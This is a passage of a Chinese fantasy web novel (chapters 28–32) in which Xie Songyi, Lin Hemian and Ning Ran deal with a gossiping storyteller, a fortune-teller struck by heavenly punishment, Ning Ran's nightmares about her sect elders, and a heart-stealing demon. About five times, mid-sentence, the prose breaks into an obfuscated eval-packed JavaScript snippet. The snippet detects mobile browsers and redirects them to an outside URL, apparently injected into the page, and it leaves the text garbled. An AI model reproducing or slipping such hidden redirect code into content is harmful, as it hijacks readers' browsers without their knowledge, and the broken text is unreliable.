“那你还真是天才。”谢松意面无表情的对那人的才能给予肯定,随后走向前台,找茶楼的伙计要了一个包间。 “宁小姐,我和林鹤眠先处理一些事,失陪了。” “没关系。”宁然露出一个善解人意的笑,笑完就在心里默默替那人捏了一把汗。 心说完了,忘了谣言的主角在这里,不该问那人为什么不说书的。 谢松意把那人拽到楼上包间,狼妖和谢大光是在一旁看就小腿抖个不停了,好在谢松意没让他们一起上楼,不然一会上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014069|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼不容易下楼更不容易,问就是腿软。 “我说乔樵,我以前怎么没发现你这么有才?”谢松意坐在木凳上,悠悠地给自己沏茶,林鹤眠则站在一旁看着。 乔樵这时就算心里再怎么哭面上也得是笑着的,伸手不打笑脸人,他估摸着自己笑着谢松意应该就不会被气得更厉害了。 “这不是为了生计嘛。我总不能去吃人啊,从通天墟出来后我费了老大劲才找到这个赚钱的法子。” 林鹤眠似笑非笑:“这法子很好,下次别用了。” 乔樵瞥一眼林鹤眠,又触电般的收回了目光,嗫嚅道:“我本来不讲这个的。” 谢松意“呵”了一声:“那你给我说说,你本来讲的什么?” 乔樵是个实诚妖,他还真的拖着腮想了一会,然后很认真的说:“我本来是将男女爱情的传奇话本的,但听众说男女爱情听腻了,想听新鲜的。” 林鹤眠:“……” “所以你就把男女爱情改成了男男爱情,然后大赚特赚?” “有需求就有市场嘛这不是。我就把故事主角性别换了一下,然后又结合了当下的热点事件,当初也没想到会这么火。” “我建议你换一个主角。”林鹤眠咬牙切齿。 乔樵匆忙摆手:“那不行,他们给的太多了,我赚了不少呢。” “再说了,人无我有别人又想要,这活该我赚的钱不能不赚啊。” “呵呵。” 林鹤眠被气笑了转头看向谢松意:“怎么说,我觉得再说下去我能被他说服。” 谢松意放下茶盏:“你还挺有商业头脑。” 乔樵骄傲起来,全然忘了谢松意把他带到包间的目的:“那是,不然我哪能赚那么多钱。” “也是。来,你过来。” 正得意的乔樵一个激灵,刚才笑的多灿烂现在哭的就多难看。 “别吧,咱自己人,您下手轻点。” 谢松意“啧”了一声:“想什么呢,给你支个赚钱的新招而已。” 一听有钱赚乔樵的小眼睛就亮起来了:“什么招?” 谢松意笑起来:“你先过来。” 乔樵半信半疑的凑过去,还没反应过来,就被谢松意一把抓起胳膊用妖力扔出去了。 林鹤眠:“???” “你把他扔哪里了?” 谢松意呷一口茶:“能赚钱的新地方。” 30. 第二十八章 鸿福客栈 午时的阳光透过窗户照进一间卧房来,一起进来的还有一团黑影。 黑影重重摔在地上,惨叫声吸引了一个小女孩的注意力。女孩关了柜门,朝这边看过来。 乔樵一睁眼看到的就是一张小圆脸,脸上那双葡萄大的眼睛澄澈如秋水,正一眨一眨地盯着他。 “你是谁啊?” 不等乔樵开口,门外便传来一个熟悉的声音。 “念念,找到梳子了么?” “没。”念念摇头。 乔樵爬起来,刚站稳就看到老板走过来,老板看到他,有些惊讶,不过也只是一瞬。 念念从房间里跑出来,拽着老板的袖子说:“这个人从窗外飞进来了。” “我竟不知你还会飞。”老板语带笑意。 乔樵干笑两声,说:“这不是刚学会的嘛。” “刚学会的?”老板勾了勾手指,将乔樵身上属于谢松意的妖力吸走,“可别告诉我你是用松意的妖力学会的。” 老板又叹气:“说吧,你怎么惹他了?” “嘶,那个……就是吧……我觉得……也没啥。” 乔樵挠着头,不敢正视老板,因为他觉得老板知道了也会把他扔出去。 老板牵起念念的小手走进屋子:“别支支吾吾的,他都把你扔过来了,我总不会再把你扔回去。” “说倒是可以说,但是我怕您听完忍不住打我。” 老板已经拉开一半抽屉的手微顿,他转过头,发现乔樵笑得……嗯……就很欠,但是又带着些怂。 老板收回目光,继续找梳子:“你说,我不打你。” 乔樵拍着胸脯长舒一口气:“那就好。” 然后,这家伙就在老板一言难尽的目光中把他如何从通天墟里跑出来,又如何找了份生计赚钱,再到刚才被扔过来的事全说了一遍。 说完发现老板脸色不太好,那个叫念念的小姑娘歪着脑袋看他,水汪汪的大眼睛里是纯真无邪。 老板大概正在思考说什么才能显出他对乔樵的无语。 “那个,请问断袖是什么意思?” 最先打破沉默的是一个奶里奶气的声音,结果本就沉默的气氛又多了一分尴尬。 老板扶额表示无语,乔樵觉得不对劲,下意识就要开溜,结果腿还没迈出来,就被一股妖力提溜着后脖颈拽回来了。 “跑什么?”老板拿出找到的梳子递给念念,“来都来了,干脆给我做店里的伙计,包吃包住还给钱,亏不了你。” “那我的说书怎么办?” “没有结局的传奇才叫真正的传奇。”老板牵着念念的手走了出去,乔樵忙跟上。 “你们还没告诉我断袖是什么意思。”念念依旧不忘初心。 老板轻笑着抚摸她的头发:“断袖是只属于两个男孩子之间的爱情。” “啊?”念念张大了嘴巴,水汪汪的大眼睛里满是疑惑,“他们性别一样,这也算爱情么?” 老板又笑:“只要真心喜欢,性别又有什么值得去在意的,爱情从来都不是仅限于异性之间的感情。” “想不明白。” “那就不要想了,一会让尖石给你梳个好看的发型,我们带着这个大哥哥去过生日。” “好。” 茶楼 谢松意把乔樵扔到老板那里之后就下楼了,茶楼确实是个好地方,人多,话也多,讨论的话题种类更多。 这种地方,最适合打探消息,甚至不需要去问,想知道的事就能亲自送上门来。 “你是说,包咱们镇乱葬岗那人过两天就要把地契送回来?”最靠左的墙角边有两个人聊的正嗨。 “是啊,也不知道他包乱葬岗干什么。” “嗨,管他干什么呢,他包乱葬岗的钱平分给咱可不少,我倒宁愿他多包几天。” “也是。那人倒是出手阔绰,我活了三十多年,第一次见包乱葬岗这种地方还按日给钱的。” “听说最近又开始拜长长生了,须臾山下的那些商户赚了不少。”其中一人话锋一转,说起拜长生的事来,“等明年我让楼主给我算算,看看我也去凑个拜长生的热闹能赚多少。” “楼主?”林鹤眠蹙眉。 他们分了三个桌子坐,这张桌上只有他和谢松意,不过宁然离他们不远,想来刚才那两个人的对话也听见了。 谢松意瞟狼妖和谢大一眼,示意他俩去打听打听这位楼主的事。 两人虽然心里有一百个不愿意,但还是去了,毕竟祖宗发话了,不听也得听。 余下四人在茶楼坐了片刻,等狼妖带着谢大回来,付完茶钱走了。 “那个楼主什么来历?”谢松意问。 狼妖把收集到的信息整理了一下,简明扼要的说:“鉴天谷弟子出身,来这里五六年了,专职卜算,算什么都可以。想找他卜算的话,每晚子时去茶楼顶层最靠右的房间,不收费。” 林鹤眠有些感慨:“现在居然还有入世鉴天谷的弟子,倒是难得。” 鉴天谷是开派最早的宗门,天机不可泄露,福祸自有其意,但鉴天谷的宗门理念却和这两句话截然相反。 鉴天谷弟子精通卜算之术,修行只不过是为了给自己的卜算之术锦上添花,让他们更方便的窥探天机。 当然,泄露天机也是有代价的,修行还能让他们保证自己在即将付出代价时有能力保命。 泄露的天机越多付出的代价就越大,一旦修为无法保证自己可以在支付代价时活命,那么等待他们的只有死路一条,所以鉴天谷的弟子很少入世,基本都在谷里修炼。 现任鉴天谷谷主已经年近古稀,因为卜算之术太过厉害,只要看到来算命的人,就可以看出他的意图甚至是未来,被人称为“天眼神算”。 不过林鹤眠的师父不这么认为,他师父经常叫谷主白胡子,在一众宗派掌门里显得格外瞩目。 “这确实少见。”任子安顿了顿,“而且镇上待了六年,这六年估计不少人来找他算,想来此人修为不低,不然怕是扛不住天谴。” “要不咱今晚去找他算算?”宁然朝茶楼顶层抛了一个眼神。 任子安略微思索一番,说:“也不是不可以。” 毕竟能连着六年抗住天谴的人修为不会低,甚至可能超越现任鉴天谷谷主。 谢松意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014070|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞥一眼茶楼顶层的房间,在狼妖耳边低声说了几句。 狼妖听完用一种幽怨的眼神看向谢松意,谢大一脸疑惑的看着狼妖,谢松意露出一个和蔼的笑,狼妖拉着谢大撒丫子跑了。 “他们干什么去?”林鹤眠问。 谢松意:“卖东西。” 林鹤眠:“?” 宁然:“??” 任子安:“???” 宁然:“他俩两手空空又这么怂,做什么生意,恐怕遇到个爱讲价又强横的人能直接把东西免费给人家。” 谢松意笑起来:“宁小姐,你放心吧,他俩还没怂到这种程度,我们只需要等到晚上去卜算就好。” 宁然搞不懂谢松意葫芦里卖的什么药,不过这不重要,重要的是她能去卜算了,她想试试能不能让那个楼主算出来包乱葬岗的人是谁。 时间转眼就到了晚上,四个人找了一家客舍定好房间后就出去了。 茶楼顶层有很多房间,但只有一间亮着灯,而且走廊没有点蜡,整层楼只靠那间房里微弱的烛光照明。 房门大概是有些年代了,林鹤眠推门时木门发出“吱呀”的响声。 屋子里的布置很奇怪,明明关着窗户,房间的蜡烛却摇曳不定,烛火时明时灭。白色轻纱从房梁上垂下来,层层叠叠挂满了屋子两侧。 中间靠墙的位置坐着一个穿着黑衣服的人,他面前放了一张桌子,桌上有一副龟壳,龟壳旁放着六枚铜钱。 “几位想算什么?” 那人声音低沉,说话时并未睁眼,火光映在他白皙的皮肤上,竟莫名有一瞬的诡异。 他实在是太年轻了,看起来也不过二十出头,宁然来之前还信誓旦旦的说要让他算包乱葬岗的人,但看到那人的长相,又有些犹豫。 “算算我们进翠珏镇时有几个人。”谢松意率先开口。 那人卜了一番,待铜钱落定,依旧没睁眼,只是用手挨个抚摸铜钱上的花纹,片刻后,给出了答案:“六个。” “可否再卜一次?”谢松意又问。 “可以。”那人嘴角微弯,隐约能看出他面上的讥讽之意,大约是觉得谢松意不信他的卜算之术才让他再卜一次。 但他没想到,谢松意的第二个问题根本卜不出来。 “我想让你算一下,我是谁。” 那人闻言挑眉,他觉得谢松意这个问题对他而言是莫大的讽刺,因为这东西根本不需要算,来他这里算的都是人。 不是人的话,早在走廊里就被杀了。 尽管心有疑惑,但那人还是硬着头皮算了一卦。不料铜板落下时,并未倒在桌上,而是立在桌面旋转。 除了谢松意,在场所有人都一副难以置信的表情,那人更是直接睁开眼。 谢松意心下暗笑。 这人不可能算出来他是谁的,长生是始祖的精血铸成,始祖是创世神,也是这个世界天道的化身,长生算是天道的一部分,卜算天道是禁忌。 泄露天机本就有罪,窥探天道更是对始祖威严的侵犯,这种情况下一定会落下天谴,当然,也有可能不会落下天谴。 前提是对方不在天道轮回之内。 31. 第二十九章 房间内莫名起了一阵阴风,那人拍桌而起,指着谢松意怒吼:“你来找茬的是不是?!” “你精通卜算,一定知道这是什么意思,卜了不该卜的,会降下天谴。”谢松意很冷静。 “你找死!” 那人发了狂,屋里垂着的白纱突然化成黑雾,黑雾聚成人形,面目狰狞,在昏暗的屋子里显得十骇人。 “是尸傀!”林鹤眠率先召出佩剑。 谢松意抬眸,窗外的远天晴朗无云,皎洁的月光倾泻而下,斜落到屋子里。 谢松意叹气:“我说过,卜了不该卜的,要受天谴。” 窗外响起一声轰隆隆的雷鸣声,紧接着,一道惊雷直接从天上劈下来,那人躲避不及,整个身体都被劈成的黑焦,连带着屋子里的尸傀都被雷光闪成灰烬。 那人并未死去,身子一闪,消失在夜色中,几人追出去,却不见他的踪影。 “我们去乱葬岗!”宁然跑在最前面,朝乱葬岗飞去。 乱葬岗后面挨着一个湖,湖面微微泛起些许波纹,月影倒映出片片银鳞。一个黑色的身影自湖心缓缓升起,他的脸白的吓人,四肢只余枯骨。 宁然飞的快,看到这一幕,心不觉颤了一下。她一道剑气挥出去,那人接化作残影躲开,等宁然再去看时,那人已经来到了他身后。 她匆忙转身,却在转身的瞬间看到那人自脖颈处蔓延的脸上的荆棘图案,竟失了神。 等林鹤眠他们追过来时,只看到宁然被那人打入湖中,然后消失不见。 宁然落水前看到那人勾了一下嘴角,她想再看更多,可四周只有冰冷的水,视野逐渐模糊之际,宁然隐约看到一个浅蓝色的身影。 她努力回想那人是谁,想着想着,却突然发现周围早已不再冰冷,她也不在湖底。 烟帐山的后山有一个小花园,缱卷的柔云浮在水上,几尾红鲤畅快的在云上游着,抬眼是白蝶翩跹,低头有柔风拂面。 宁然最喜欢的就是这里,但其他弟子不喜欢,因为这里只有被罚思过的弟子才能进。 宁然被罚惯了,来这里从不思过,抓几天蝴蝶逗一会鱼思过的时间就过去了。 那年她十岁,依旧像往常一样抓蝴蝶,但蝴蝶飞得太高了,她够不到。 扑来扑去抵不过身高优势,一个高大的身影落在她头顶,然后是一只枯瘦的大手,那只手捏着蝴蝶递给她。 “你这丫头又惹什么祸了,短短一个月被齐简罚来思过六次。” 声音沙哑却不乏慈爱,宁然一听就知道是谁来了。 她没要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014071|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝴蝶,直接转身扑到对方怀里。 “大爷爷!” 被称作“大爷爷”的人搂住她,笑道:“然然又长胖了。” “我没胖!”宁然撅起嘴。 “好好好,没胖。”大爷爷把她放下来,食指在他的鼻尖刮了一下,“你和大爷爷说说,这次闯什么祸了?” “也没什么,就是毒翻了宗门比武的守卫偷溜进去了。” “哦?”大爷爷白眉飞扬,笑意在脸上绽开,“那你说说,怎么下的毒?” “这还不简单?”宁然笑起来,“我遇到了一个须臾山的弟子,他也想溜进去,我就让他把守卫支开,在他们的水里放了一点会让人暂时失去意识的毒。” 守卫的确失去意识了,但她也被齐简抓到了。齐简发现她跟过来后立刻察觉到异常,忙去看那几个守卫,过去一看发现他们全躺在地上。 “你啊你,整天调皮捣蛋,哪天我和其他两位长老都不在了,我看谁能护你。” “我自己保护自己就好了,我用毒很厉害的。” 大爷爷笑着说好好好,宁然也笑,笑完发现三爷爷正站在不远处的回廊看着他们,手腕处隐约染了一些黑色的东西。 三长老发现宁然盯着他的手看,忙将手放在背后,笑着走过来。 32. 第三十章 三长老面色和蔼,宁然再去看他时,他背在后面的手已经垂在身侧,黑色也消失不见。 “三爷爷的手怎么了?”宁然歪着脑袋问。 三长老故意抬起手把手背手掌看了个遍,然后对上宁然的眼睛,说:“养了只蝎子,然然想看的话,我再把它放出来。” “蝎子也可以养在手上?” 三长老又笑起来:“当然能,我可以教你怎么养。” “我不要。” “那我们就不养了。” 画面一转,花园早已失去生机,只剩枯枝败叶落了一地。上面覆了一层雪,脚踩上去,咯吱一声,雪下的枯枝就翘起来。 这年宁然十四岁,她又被罚来思过了。 这次是因为擅闯掌门卧房。 大长老没来,来的是三长老,宁然喊他三爷爷,他笑着点头。 宁然看得清清楚楚,三长老的手臂上隐约露出黑色的纹理,像疯狂生长后被修剪的荆棘,很歪很乱。 “三爷爷的手怎么了?” “养的蝎子发疯了,小事。”三长老依旧笑着,“然然这次又犯了什么事被罚来了?” “擅闯掌门卧房。” “你跑齐简屋子里做什么?” 宁然随口胡诌:“我就是好奇他屋里有什么。” 她才不会告诉大长老她是去看齐简炼尸傀的方法的。 宁然虽然有天赋,但是烟帐山最离经叛道的弟子,别人炼毒他炼虫,别人解毒她下毒,永远和那些同门弟子反着来,虽说学的是烟帐山的毒术,但真算起来,也不完全是。 她将烟帐山和任家毒术相结合,一些基本的解毒方法和毒药材料用烟帐山的,高级点就用自己摸索出来的。 毕竟她最有天赋这句话不是说说而已,她是真的有能耐,也担得起这句话的份量。 她深知出来混迟早要还这个道理,所以再长大些,小事基本不用三位长老护着,大事也可以自己解决。 尸傀是所有门派都明令禁止出现的东西,所以她抓住齐简炼尸傀这个把柄就相当于一块保命符,哪天三位长老都护不住她的时候就和齐简爆了。 可三长老那双炯炯有神的眼睛盯着她看了半晌:“当真?” 宁然点头:“当真。” 三长老笑起来,没再说什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014072|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,似乎把她的话当了真。 不,三长老不一定会当真。 莫名的恐惧在宁然心底蔓延,四周突然变得漆黑一片,黑暗中出现一个脸色苍白的人,他被吊在空中,目光呆滞,脸上爬满了裂纹。 紧接着又出现第二个人,同样的脸色苍白,同样的爬满裂纹,也同样被吊起来。 宁然看清了两人的模样,想喊他们,却发不出声音,她想用法力,却被从地下长出来的荆棘缠住双腿,怎么都挣脱不开。 荆棘从小腿爬到腰部,再从腰部向上缠住她的脸,明明到处是刺,但痛的地方却只有心,全身上下似乎只有心被棘刺捅穿。 她开始发冷,无止境的窒息感蔓延上来,宁然猛地起身,却因用力过猛有些头晕。 “然然!” 一个人匆忙走进来,宁然缓过来,看到来者,有看了一眼外面的天,问:“堂兄,我晕了几天?” “两天。”任子安倒了一杯热水递给宁然,宁然根本没心思喝水。 她掀开被子就要下床,任子安上前拦住她,她却推开任子安。 “我要回烟帐山,我要去找大爷爷!” 33. 第三十一章 无边的恐惧蔓延开来,宁然试图甩开任子安的手,她不敢抬头,她怕房梁上悬着人,怕梦里的一切成真。 任子安让她冷静,她仿佛听不见,依旧喊着要回烟帐山,可袖子被拽着,她跑不动。 “你不能去!” “我让你放开我!” 宁然召出佩剑直抵任子安咽喉,任子安忙松了手,这才发现,她早已哭的梨花带雨。 任子安有一瞬的呆滞,宁然冷笑:“为什么不让我去?怕我发现这一切和整个任家都有关系?” 任子安慌了,忙摇头否认:“不,不是这样的。” “那是什么样,你说啊!” 宁然手中的剑又向前了一寸,任子安被迫向后仰头,不敢再向前一步,只能眼睁睁看着宁然愤恨的收剑走人。 任子安想追出去,转念一想,发现自己跟过去也没什么用,便也没跟。 他转身离开,脑海里却浮现出宁然那双含泪的眸子,突然觉得,其实任家也没那么重要,尤其是对宁然。 他这个堂妹,从来都没有真正的家。 宁然五岁那年被送到烟帐山,期间从来没人去看过她,仿佛任家没有大小姐,只有那个尚在襁褓中的二小姐。 从五岁到现在,宁然唯一知道家中状况的方式是写信。 九岁那年,她给烟帐山的三位长老留了一封信后便跟着一支商队回了焱州。 一个九岁的小姑娘,混在一群精明的商人里跟着走了半个月,期间全靠给人打杂抵吃住费用。 商队刚进焱州主城就遇到了他,若不是凭着小臂上的胎记,他自己都不敢相信眼前那个脏兮兮的小姑娘是任家娇生惯养的大小姐。 可惜她在任家待了没多久就被送回去了,临行前这小姑娘还笑着问可不可以去看看她,看一次就好。 伯父答应了,但压根没去过。 如果不是宁然偷偷跑回来,恐怕她到现在都不知道自己的妹妹长什么样子。 喊他一声堂哥是情分,其实他和宁然根本没多亲,大抵是在异地他乡见了血亲,宁然才会激动的冲过去抱他。 听说他是来查案的,也就礼貌性的介绍了几位朋友,没再多说。 或许他应该骗骗宁然,应该对她说是特意来看她的,可能这样宁然还会像小时候一样什么都和他说,即便是在写的不多的信里。 但现在已经晚了。 有些事,一旦不过就不再会有弥补的机会。 很少会有人在逢年过节时对他说,你还有一个堂妹在烟帐山,我们抽空去看看她。 他听到的向来都是你那个堂妹继承了家主夫人的天赋,将来可堪大任。 从一句可堪大任,匆匆决定了她的一生,没人会管她想要什么,也没人去问她的感受,她也从来不说。 说了谁又会听呢?没人在乎的。 任子安自嘲般笑了一下,灭掉屋里的蜡烛,走了。 夜色正浓,客舍起了一阵阴风,寒意顺着脖颈直接钻进去,吹的任子安莫名打了个寒战。紧接着楼下就是一阵脚步声,还有人在喊救命。 任子安忙下楼,只见客舍正门围了一堆人,正对着地上的东西议论纷纷。 任子安钻进人群,发现谢松意和林鹤眠也在。 人群中间的空地上躺着一具尸体,那人面色灰白,他被挖了心,空洞的胸腔涌出暗红色的鲜血,诡异瘆人。 正讨论死者身份的人群里突然多出一个粗粝的声音:“我想起来了!” 那人指着地上的尸体,大喊道:“我认得他!这人是猎户,常在后山打猎的!” “你的意思是后山有妖?”另一个人出声质疑。 “你这不是废话,你觉得后山的动物会只吃人心?”另一个人反驳。 “后山十几年没妖出没了,怎么可能突然冒出来个妖?”那人继续反驳。 谢松意没理会他们,选择离开人群去后山找线索,林鹤眠跟上去,任子安也想跟过去,却被林鹤眠拦住:“任公子,我们去就行了,你照顾好宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014073|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然。” 任子安嘴唇微张,还是没把宁然的事说出去,只是点头:“那你们小心。” “放心吧,我们不会有事的。” 林鹤眠说完跑了,任子安扫了一眼身后的尸体,进屋去了。 翠珏镇的后山很少有妖,但有很多狼。 进了后山活似钻进狼窝,嗷呜嗷呜的嚎叫声不绝于耳,再时不时来阵风,怕不是下一秒草窝里就能钻出一只大灰狼把你叼走。 林鹤眠边走边看,觉得狼妖来这里一定会很开心,毕竟好多同类,虽然没开智。 谢松意四处张望,奈何四周太黑他看不清,索性折下一根树枝用妖力在上面点了一簇火苗,这才勉强照亮周围的地方。 火苗跳起的一瞬间,无数绿色光点向谢松意聚拢,这些小东西像萤火虫,看着也没杀伤力,出于好奇,林鹤眠抬手就要碰,却被谢松意一把抓住手腕。 “别碰。” 谢松意盯着林鹤眠,林鹤眠不解,却还是乖乖收回手,毕竟听他师兄的准没错。 等他垂下手,谢松意才再度开口:“这是游光,由百年以上修为的妖逸散而出的妖力聚集而成,没有自我意识但有慕强性,谁强认谁做主人,你别给他们吓跑了。” 林鹤眠挑眉:“所以,这小玩意是胆小且会发光的墙头草?” 谢松意笑着用另一只手的食指拨弄小绿点的脑袋,说:“你这说法也没错。渴望生存是生物本能,他们虽然没有自我意识,但求生的本能会让他们寻找比原主更强的妖做庇护,这样可以多活一会。” 顿了顿,谢松意又说:“但也有倒霉的,遇到缺妖力的妖,可能就把他们当养料了。不过也没多少妖会吞噬这玩意,他们的妖力聚一起还不够塞牙缝,除非是濒死之际急需妖力活命的妖。” “还挺可爱。”林少侠对那一堆绿色小光点做出评价。 谢松意对他的评价置之不理,抬眸看向前方:“他们从前面飞过来,说明有妖在前面,而且还可能受了很重的伤。” 34. 第三十二章 前方低矮的灌木丛传来出“沙沙”的异响,谢松意拿起树枝照过去,里面钻出许多游光。 游光围着谢松意上串下跳,像个会发光的绿色弹球,又像小猫摇尾巴撒娇。 谢松意无奈,随手捻出点妖力把所有游光聚在一起,游光浮在妖力形成的空间里,活似一盏灯笼,就是不怎么亮。 “怎么这么多?”林鹤眠十分惊讶。 谢松意拨开灌木丛,道:“这里恐怕不只一只妖,我们顺着游光飞来的方向去看看。” 林鹤眠点头跟上,二人没走几步,前面响起一声惨叫,紧接着是剑刃碰撞的声音。 两人赶过去,却并未急着出现,而是躲在一旁静观其变。 两只妖打的不可开交,另一只妖胸口染了大片鲜血,每一个抵挡的动作都显得特别用力,想来是刚才发出惨叫的那只。 不知打了多久,胸口染血的那只妖一个没挡住,直接倒在地上,要看就要被一剑刺穿,谢松意召来玉琳琅及时挡住。 另一只妖见有人坏事,二话没说就溜了。林鹤眠想追,却听那只妖喊道:“别追!他要去古战场,你们打不过的。” 谢松意收了玉琳琅,俊美的脸因为“古战场”三个字显出一丝不悦。 “他去古战场做什么?”林鹤眠问。 “杀人夺心,献给主上。”那只妖强撑着瘫软的身子站起来,“主上会给我们长生秘术……” 他走的踉踉跄跄,每迈出一步都十分艰难,那双支撑着身体的腿仿佛有千钧重负,说走太过轻盈,他完全是一步一步慢慢挪过去的。 “人是我们一起杀的,秘术只能教一只妖,我和他注定要死一个。” “要我送你上路么?”谢松意在一旁无动于衷,只是冷着脸问。 那只妖冷笑:“不用脏了你的手。让他灰飞烟灭我死了也愿意,谁都别想好过。” 反正他活不成了,身体已经虚弱到连逸散的妖力都无法收回,谢松意也不像会救他的人。 倒不如破罐破摔,死前把事情抖出去,要死不能只死他一个,拉人和他一起下地狱才好呢。 “告诉我他的目的是什么,我可以在将来的某天送他下地狱。”谢松意又道。 那只妖身子一顿,猛地回过头来,一脸难以置信:“你的意思是,你要杀了主上?” “不行?”谢松意挑眉。 “不,”对方摇头,“没人能打得过他。” 谢松意蹙眉,说话时带着一股狠劲:“我说能就是能。” 那只妖盯着谢松意看了一会,片刻后,叹气道:“炼化人心可以提升修为,你若真想杀他,只会死的很惨。” “你就这么确定是我死他活?” “你都问了,我如实相告而已。” 话音刚落,那只妖的身体就开始消散,最初是腿,然后是脚,直至整只妖都化作光点飞向天空。 林鹤眠上前一步,想抓住一些光点,却什么都没抓住。 “他就这么死了?” “多活一会也问不出更多东西了,早死还能减少一些伤痛的折磨。” “他说的要是真的,那就麻烦了。不到时间他不会现身的,我们想找他都没辙。” “那就等他现身。”谢松意转身离开,林鹤眠偶然瞥见他眸中闪过一丝杀意。 “大不了我和他同归于尽。” “那不行,你别忘了还有我呢。”林鹤眠跟在谢松意身后,笑道。 “你?”谢松意借着手里亮起小火苗的树枝对林林鹤眠上下打量一番,“你最好活着。” “我又不怕死。” 谢松意心说我怕你死,拨云十一式还得靠你传下去,你死了谁去来传? 但他没说,只是轻声回了一句:“你活的太短了。” “短就短,足够精彩就行,我自己不后悔就无所谓活得长短。”林鹤眠得意洋洋。 谢松意阴差阳错的对上他的眸子,发现这小孩一副天不怕地不怕的样子。 “你还真是小孩,做起事来不管不顾的。”谢公子无奈的评价。 林鹤眠很受用,竟有些仗着年龄撒泼的意味:“没办法,谁让我真是小孩。” “呵。” 谢松意表示不屑,树枝上的火苗突然跳了一下,像是要熄灭,谢松意忙扭头去看。 “怎么了?”林鹤眠问。 谢松意摇头:“没什么,可能是我多虑了。” 烛火不再跳跃,只是随着风缓缓摇曳。 在客栈里看书的老板眸中烛火早已成了之前褐色的眸子,他合上书,望向窗外圆月。 如果真如谢松意所说,那么将来谢松意和那位所谓的万寿主必有一战。 对方有谢松意父亲的心脏,那心脏是他的全部妖力,连老板都要畏惧三分,若万寿主再用秘术提升修为,将来的那一战,谢松意怕是要出事。 老板叹了口气,再睁眼时,已经到了太荒漠地。 太荒漠地四周只有无尽的白,脚下是一片可以在上面行走的水域,水域倒映着天空,柔软洁白的云飘在水里,澄澈透明,水天一色。 无垠的空间里突然多了一股强大的威压,若是寻常修士,早就被这威压吓得跪伏在地了,妖来了也得瑟瑟发抖,但老板并不怕。 “好久不见,君亭,又或者,我该叫你闻人。” 一个苍老低沉的声音不知从何处响起,像一口上千年的古钟被人敲响,声音中是一种跨越亘古的沧桑,久久在周围回响,余韵不绝。 “名字只是一个称呼,您如何称呼我并不重要。” “不重要你还改名字。” “总要记住一些人和事。” 空中传来一声轰鸣,像是什么东西在翻身。 “我以为你会恨。” 恨? 老板在心底觉得可笑,他当然恨,可这世间最刻骨铭心的情感从来都不只有恨之入骨,靠恨活下去还不如不活。 恨完了,该怎么样还得怎么样,他总是要活的。 老板浅笑:“所以我杀了他。” 被称作始祖的存在也笑起来,紧接着是带有审问意义的话:“但你杀他,有一部分是因为私心。” 老板微不可察的蹙起眉头,但表情很快又恢复如初:“他杀了阿璟,所以该死。” “功高震主的下场只有兔死狗烹,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 